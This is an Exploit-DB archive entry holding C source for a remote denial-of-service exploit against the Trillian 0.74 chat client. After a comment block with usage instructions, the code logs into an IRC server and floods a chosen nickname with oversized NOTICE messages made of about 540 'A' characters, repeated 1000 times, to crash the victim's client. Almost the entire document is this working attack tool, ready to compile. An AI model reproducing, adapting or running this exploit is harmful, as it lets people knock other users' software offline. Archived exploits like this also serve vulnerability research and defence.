Exploit-DB #73
Description: Trillian 0.74 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-08-01
Author: l0bstah

Exploit:
/*

[--------------------------------------------]
[:::::::::::::::::: trillian 0.7*(d patch)   ]
[:::::Denial:of:Service::simple:exploit::]
[-----------------------------[l0bstah]-----]
[usage ::                                           ]
[      : trillah name attacked-nick          ]
[                                                       ]
[comment:: after patch .74d, exploits,  ]
[         wich use damage (~4095 data)  ]
[         not work, but this exploit           ]
[         work at any patch.                    ]
[                                                       ]
[P.S. irc specification include rull:          ]
[510 characters maximum allowed for   ]
[the command and its parameters...     ]
[that is why szBuf has 570 length...       ]
[--------------------------------------------]

*/

 #include <winsock.h>
 #include <iostream.h>
 #include <stdio.h>
 #include <dos.h>

 #define port    4384
 #define bfsize  540
 #define rptimes 1000

 WSADATA     wsadata;
 SOCKADDR_IN sa;
 SOCKET      s;
 LPHOSTENT   lpHostEntry;
 int         SockAddr = sizeof(struct sockaddr);
 int         i, ports;
 char        szBuf[570];          // [damage data] 
 char        nick[50];            // <NICK> command 
 char        user[50];            // <USER> command 
 char        mode[50];            // <MODE> command 
 char        *cname = "trillah";  // your client name


int main(int argc, char **argv)
 {

   printf("::::::::::::::::::::::::::::::::::::\n");
   printf(": trillah - remote DoS exploit :::::\n");
   printf(":::::::::::::::::::::::::::[l0bstah]\n");

   if (argc < 3) 
   { printf("use: trillah dnsname nick\n"); return 0; }
   
   char *addr=argv[1];
   ports=port;

   if (WSAStartup(0x0101,&wsadata) == 0)
   {

        lpHostEntry = gethostbyname(addr);

        sa.sin_family = AF_INET;
        sa.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);
        sa.sin_port = htons(ports);

        if ((s=socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
        {
        printf("Can't open socket! - #%d\n",WSAGetLastError());
        exit(0);
        }

        printf("connecting to irc server : %s...\n", addr);

        if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) == -1)
        {
        printf("Can't connect() - #%d\n",WSAGetLastError());
        exit(0);
        }       
        printf("connected... starting login session \n\n");

        //*** NICK <NICK>
        strcpy(nick, "NICK ");
        strcat(nick, cname);
        strcat(nick, "\n");
        send(s,
                nick,
                strlen(nick),
                0);

        printf(nick);

        //*** USER <mode> <unused> <realname>
        strcpy(user, "USER ");
        strcat(user, cname);
        strcat(user, " 0 127.0.0.1 : trilla\n");
        send(s,
                user,
                strlen(user),
                0);

        printf(user);

        sleep(1);

        //*** MODE <nick> (+|-*)
        strcpy(mode, "MODE ");
        strcat(mode, cname);
        strcat(mode, " +i\n");
        send(s,
                mode,
                strlen(mode),
                0);

        sleep(2);

        //**********DAMAGE****DATA*************//

        printf("Sending damage data...\n");
        strcat(szBuf, "NOTICE ");
        strcat(szBuf, argv[2]);
        strcat(szBuf, " :");
        for(i=0;i<=bfsize;i++) strcat(szBuf,"A");
        strcat(szBuf, "\n");


        for (i=0;i<=rptimes;i++)
        {

        send(s,
            szBuf,
            strlen(szBuf),
            0);
        }


        printf("attack complete....");

        //*************************************//

        closesocket(s);
        
        }

  WSACleanup();

}

// milw0rm.com [2003-08-01]